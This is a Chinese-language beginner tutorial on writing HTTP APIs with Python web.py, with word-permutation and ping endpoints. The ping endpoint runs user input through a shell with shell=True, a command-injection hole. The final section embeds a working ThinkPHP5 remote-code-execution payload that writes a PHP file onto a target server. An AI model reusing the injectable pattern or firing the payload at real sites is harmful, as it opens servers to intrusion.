看着互聯網上各種各樣的API接口十分歡喜,奈何因為收費望而卻步,於是筆者在經過網上信息檢索后,選擇了最簡單的Python3 Web.py 庫作為菜鳥入門學習教程,並實現一些小功能,希望對萌新小白們有所幫助!

注:i 春秋公眾號旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。
開發環境:
系統:安卓10
工具:Termux
編輯器:vim
語言:Python3
上傳方法:ftp協議
調試環境:
系統:Windows2008(阿里雲)
環境:Python3.7.6 + Web.py
說明:建議要使用最適合自己的開發環境,在win環境可以選擇VS Code等編輯器來開發。
如何安裝運營環境
服務器端安裝示例(Windows 2008)
- Python3環境的安裝:
對於Python3的安裝,你只需要到官網下載適合你的安裝包安裝即可!
如果你下載的是ZIP包,請自己配置好環境變量,如果你是下載的可視化安裝程序,請記得勾選添加環境變量選項!
- Web.py 庫的安裝:
在開始安裝之前,請記得在PowerShell里執行下面的命令,我們需要先升級pip,升級命令是這樣:
pip install --upgrade pip
在升級完成后,便可以開始安裝我們需要的Web庫了。
pip install web.py
如何編寫
如同眾多編程語言一般,我們先來寫個HelloWord:
文件名:sever.py
#-*- coding:utf-8 -*-
import web #導入web庫
#URL控制
urls = (
#訪問index的時候,執行index方法
'/index(.*)', 'index',
)
#index方法
class index:
def GET(self, text):
index = "hello word!"
return index
#主函數開始
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
接着我們在指定端口執行這個腳本:
python sever.py 80
此時,我們訪問:127.0.0.1:80,應該在瀏覽器中能看到這樣的內容:
hello word!
這就滿足了嗎?
不,最起碼,得有個漂亮的樣式,經過簡單的搜索,發現Web.py提供的方法太麻煩了,於是,我們可以這樣:
請注意,此刻我們不需要去暫停控制台,可以直接去修改代碼后刷新瀏覽器就好了!
先在跟Sever.py同一目錄下創建index.html,這個html里的文件自己想寫啥就寫啥,然后我們修改代碼:
#index方法
class index:
def GET(self, text):
index = open("./index.html", 'r',encoding="utf-8")
index = index.read()
return index
接着再來刷新瀏覽器,就會發現界面變成了你想要的樣子,這說明html文件里的標簽被渲染了。
如何開發API
有這樣一道題:給定這樣幾個字母:a,e,t,請組成單詞。
筆者的代碼:
import sys
from itertools import permutations
def exhaustive_combination_def(exhaustive_combination):
b = ""
arr = exhaustive_combination.split(",")
for a in permutations(arr):
a = "".join(a)
b = b + a + ","
#print(a)
return b
if __name__ == "__main__":
i="a,e,t"
i=exhaustive_combination_def(i)
print(i)
執行后,我收獲了結果:
aet,ate,eat,eta,tae,tea,
放到百度翻譯,人生圓滿了。
為了維護方便,我們API是一個py文件,sever是一個文件,這樣最好。
api.py
#-*- coding:utf-8 -*-
import sys
from itertools import permutations
def exhaustive_combination_def(exhaustive_combination):
b = ""
dzarr = exhaustive_combination.split(",")
for a in permutations(dzarr):
a = "".join(a)
b = b + a + ","
return b
sever.py
#-*- coding:utf-8 -*-
import web #導入web庫
#從文件api.py中引用自定義函數:exhaustive_combination_def
from api import exhaustive_combination_def
#URL控制
urls = (
#訪問index的時候,執行index方法
'/index(.*)', 'index',
#訪問api_one,執行exhaustive_combination方法
'/api_one/(.*)', 'exhaustive_combination',
)
#exhaustive_combination方法
class exhaustive_combination:
#text接收的是get請求內容
def GET(self, text):
#變量 a 接收傳回的返回值
a=exhaustive_combination_def(text)
#返回 a 的內容給瀏覽器
return a
index方法
class index:
def GET(self, text):
index = open("./index.html", 'r',encoding="utf-8")
index = index.read()
return index
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
訪問地址:
http://127.0.0.1/api_one/a,e,t
成功在瀏覽器返回:
aet,ate,eat,eta,tae,tea,
這樣一個簡單的API就寫好了。
這個時候,我們可以完全通過python寫一個自己想要的API。
比如,我們來寫一個返回Ping命令結果的:
ping.py
# -*- coding: utf-8 -*-
import subprocess
import re
def ping_url(url):
ping = subprocess.Popen(["ping.exe", url],
stdin = subprocess.PIPE,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE,
shell = True)
out = ping.stdout.read()
out = out.decode('gbk')
return out
sever.py
#-*- coding:utf-8 -*-
import web #導入web庫
#從文件api.py中引用自定義函數:exhaustive_combination_def
from api import exhaustive_combination_def
#從文件ping.py中引用自定義函數:ping_url
from ping import ping_url
#URL控制
urls = (
#訪問index的時候,執行index方法
'/index(.*)', 'index',
#訪問api_one,執行exhaustive_combination方法
'/api_one/(.*)', 'exhaustive_combination',
#訪問ping,執行ping方法
'/ping_api/(.*)','ping_api',
)
#ping方法
class ping_api:
def GET(self, text):
a = "<html><head><meta charset=\"utf-8\"><pre>"
b = ping_url(text)
c = "</pre></head></html>"
a = a + b + c
return a
#exhaustive_combination方法
class exhaustive_combination:
#text接收的是get請求內容
def GET(self, text):
#變量 a 接收傳回的返回值
a=exhaustive_combination_def(text)
#返回 a 的內容給瀏覽器
return a
#index方法
class index:
def GET(self, text):
index = open("./index.html", 'r',encoding="utf-8")
index = index.read()
return index
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
訪問:
http://127.0.0.1/ping_api/www.20191005.tech
成功返回內容:
正在 Ping as20191005.coding.me [150.109.19.98] 具有 32 字節的數據:
來自 150.109.19.98 的回復: 字節=32 時間=949ms TTL=47
來自 150.109.19.98 的回復: 字節=32 時間=1111ms TTL=47
來自 150.109.19.98 的回復: 字節=32 時間=1162ms TTL=47
來自 150.109.19.98 的回復: 字節=32 時間=1156ms TTL=47
150.109.19.98 的 Ping 統計信息:
數據包: 已發送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒為單位):
最短 = 949ms,最長 = 1162ms,平均 = 1094ms
擴展設想
在編寫工具時,我們很多時候用到的語言都是Python,然而我們編寫的一些圖形化工具隨着不斷的流傳,很容易流傳到不法分子手中,我們完全可以通過這種API式的去開發工具。
當工具流竄出去,我們要阻止不法分子的時候,可以直接在服務器端ban了他的ip ,直接導致你的工具在他手中無法使用,或者直接改變接口參數,導致不法分子的工具失效,當然為了安全性可以加上一個基於接口的驗證方案,來驗證工具的使用者。

拿thinkphp5來做一個例子:
樣例自定義函數:
#-*- coding:utf-8 -*-
import requests
import re
#命令執行
def thinkphp5_api(url):
poc = "?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20"
filename ="name.php"
url = str(url + poc + filename)
try:
page = requests.get(url)
zhuangtia = page.status_code
qingqiutou = page.headers
a = "【*】請求狀態:" + str(zhuangtia) + "\n【*】寫入路徑:" + filename + "\n【*】請求頭:\n" + str(qingqiutou)
return a
except:
return "寫入狀態異常!"
實際效果:

這種方法筆者認為非常便於控制工具的流通,你只需要通過指定你允許的IP可以訪問到服務器API,就可以將工具放心的傳給團隊內的其他使用者!
如果本文激發了你對API開發的想法,不妨去試一試,對於Windows圖形界面程序的開發,多種多樣,你可以選擇C#的WPF或者易語言,這兩者對於圖形界面的開發基本都是直接繪制,上手速度更加快速!